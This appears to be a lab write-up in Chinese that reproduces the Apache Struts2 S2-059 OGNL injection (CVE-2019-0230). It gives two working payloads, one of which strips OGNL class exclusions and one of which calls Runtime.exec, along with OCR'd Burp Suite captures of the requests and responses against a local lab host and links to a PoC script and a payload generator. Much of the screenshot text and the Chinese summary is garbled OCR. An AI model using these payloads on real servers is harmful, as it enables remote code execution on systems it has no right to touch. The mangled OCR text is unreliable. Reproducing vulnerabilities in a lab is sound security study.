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payload1:

?id=%{(#context=#attr['struts.valueStack’].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil=#container.getinstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses()).
(#ognlUtil.setExcludedPackageNames(’))}

payload2:

?id=%{(#context=#attr['struts.valueStack’].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec(‘touch /test’))}
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your input id:
has ben evaluated again in id attribute

Burpsuite#llfd, &i%% —/ payload

0432 FF O

Burp Suite Community Edition v2020.9.1 - Temporary Project

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T P roxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

Send Cancel < |v > v Target: hitpi/lsz168.68.1928080 7 (7)
a--

Request Response

Headers | Hex

Raw | Params Headers Hex

Pretty - n Actions - Raw Render n Actions v

1 GET /7idk A 1 HTTP/L.1 200 0K 'y
%25%7B( %23c ontext%30%23at t r45B ' st ruts. valueStack '%50. context) . [%23containers3Ds23c [ 2 Connection: close i
ontext%5E ' com. opensymphony. xwork2, ActionContext. container '%50) . (%230gnlUt11%30%23c 2 Date: Thu, 04 Feb 2021 08: 32: 27 GMT
ontainer. getInstance (%40com. opensymphony. xwork2. ognl. OgnlUtil%40class) ). (%23cgnllUt 4 Content-Language: en-US
il. setExcludedClasses( ' '] . (%230gnlUtil. setExcludedPackageNames( ' '] 1%70 HTTP/1. 1 5 Content-Type: text/html;charset=utf-2

2 Host: 192, 168, 68. 132: 2080 & Set-Coockie: JSESSIONID=nodedlxngb33disul f4ouabbuggrgad. noded; Path=/

2 User-Agent: Mozilla/S. 0 (¥11; Linux x86_64; rv: 78.0) Gecko/20100101 Firefox/78.0 7 Expires: Thu, 01 Jan 1570 ©8: 00: 08 GMT

4 Accept: text/html, applicationsxhtml+xml, application/xml; cF@. 9, image/webp, */*; cF0. 8 2 Content-Length: 443

5 Accept-Language: en-US en; 0.5 9 Serwer: Jetty(9.4. 31.v20200723)

& Accept-Encoding: gzip, deflate 10

7 Connection: close 11

& Cookie: JSESSIONIC=nodefsSzEdozzikmicrgdirddnilal. noded 1z

% Upgrade-Insecure-Requests: 1 13

16 Cache-Control: max-age=0 14 <html=
11 15 <head=
1z 18 <titlex
52-059 demo
=ftitle>
17
12 2/heads
19 <body=
L] <z ick"" href="/ action">your input id: %{(#context=#attr] 'struts. valueStack']. cor ¥
v - e
® G}} liJ -* 0 matches ®{§} &J => 0 matches

Done 752 bytes | 922 millis
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B BurpSuite C.. #» 52-059dem.. [J root@gsq: ~.. CJ root@gsq:~ 0433 FF O

Burp Suite Community Edition v2020.9.1 - Temporary Project

Burp Project Imtruder Repeater Window Help

[ Dashboard TTarg& T Prox T Irtruder ]’ Repeater T Sequencer T Decodar I Cormparer T Extender T Project options T User options ]

Send ancel < v Target: http://192.168.68.132:8080 f ®
a- -

Request Response

Raw | Params | Headers | Hex Headers | Hex

Prett m R Actions Raw Render R Actions
1 GET /7ick A 1 HTTRF/1.1 200 0K 'y
%25%7B(%23cont ext%30%23at t r4%5B st ruts. valueStack '%5SD. context) . (%23context. setMenbe [© 2 Connection: close ™
riccess(%40ognl. Ognl Context%40DEFAULT_MEMBER_ACCESS) ). (%40java. Lang. Runtimes40getR 5 Date: Thu, 04 Feb 2021 08: 33: 03 GMT
untimel ). execl ' touch®%20/tmp/t estl' 11%70 HTTR/1. 1 4 Content-Language: en-US
2 Host: 192.168. 68. 132: 2020 5 Content-Type: text/html; charset=utf-2
2 User-Agent: Mozills/S. 0 (X11; Limux xB6_G4; rv: 78.0) Gecko/ /20100101 Firefox/72.0 & Set-Cookia: JSESSIONID=rodetksw]wld]k8sxhngzuSc2flvl. noded; Pathe/
4 Accept: text/html, spplication/xhtml+xml, application/xml; cp0. 9, image/webp, ¥ /%, cm0. 8 7 Expiras: Thu, 61 Jan 1570 00: 00: 00 GMT
5 Accept-lLanguage: en-US en; 0.5 2 Content-Length: 378
& Accept-Encoding: gzip, deflate 9 Serwer: Jetty(9.4. 31.v20200723)
7 Connection: close 10
2 Cockie: JSESSIONID=rode0sSz8dozzikmicroderddnilal. nodeo 11
9 Upgrade-Insecure-Requests: 1 1z
16 Cache-Control: max-age=8 13
11 14 <html=
1z 15 <head=
1& <title=
52-0859 demo
</title=
</head=
<body=
e <a id="java. lang. UNIXProcess@2ddlfe22” href="/. action"=>your input id: % { (v‘r‘contsxt= |
v - L3
®£}} LiJ LiJ Sear 0 matches ®{§} LiJ LiJ Search... 0 matches
Done 678 bytes | 48 miliis
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base647ELL4if%: http://www.jackson-t.ca/runtime-exec-payloads.html
poc: https://github.com/ADummmy/vulhub_Writeup/tree/main/code/struts2_059 poc.py
0x034 45

RREZFNFE=ZRXE, BUT AR —REA, MELEXERESEASF, RAITSBAEFEFHENE, NHFREFELRE,
HABE LR —Bpayloadfilpoc, #MAEFIK, BERBERM 4, BRTREI. AEKRERES, FABERTRS.

0x042 % ¥t
https://my.oschina.net/u/4593034/blog/4693589

A Bwriteup, HETE, BEF.
https://github.com/ADummmy/vulhub_Writeup



	Struts2_059_RCE CVE-2019-0230 漏洞复现
	Struts2_059_远程代码执行
	by ADummy
	0x00利用路线
	0x01漏洞介绍
	0x02漏洞复现
	payload1：
	payload2：

	0x03总结
	0x04参考资料


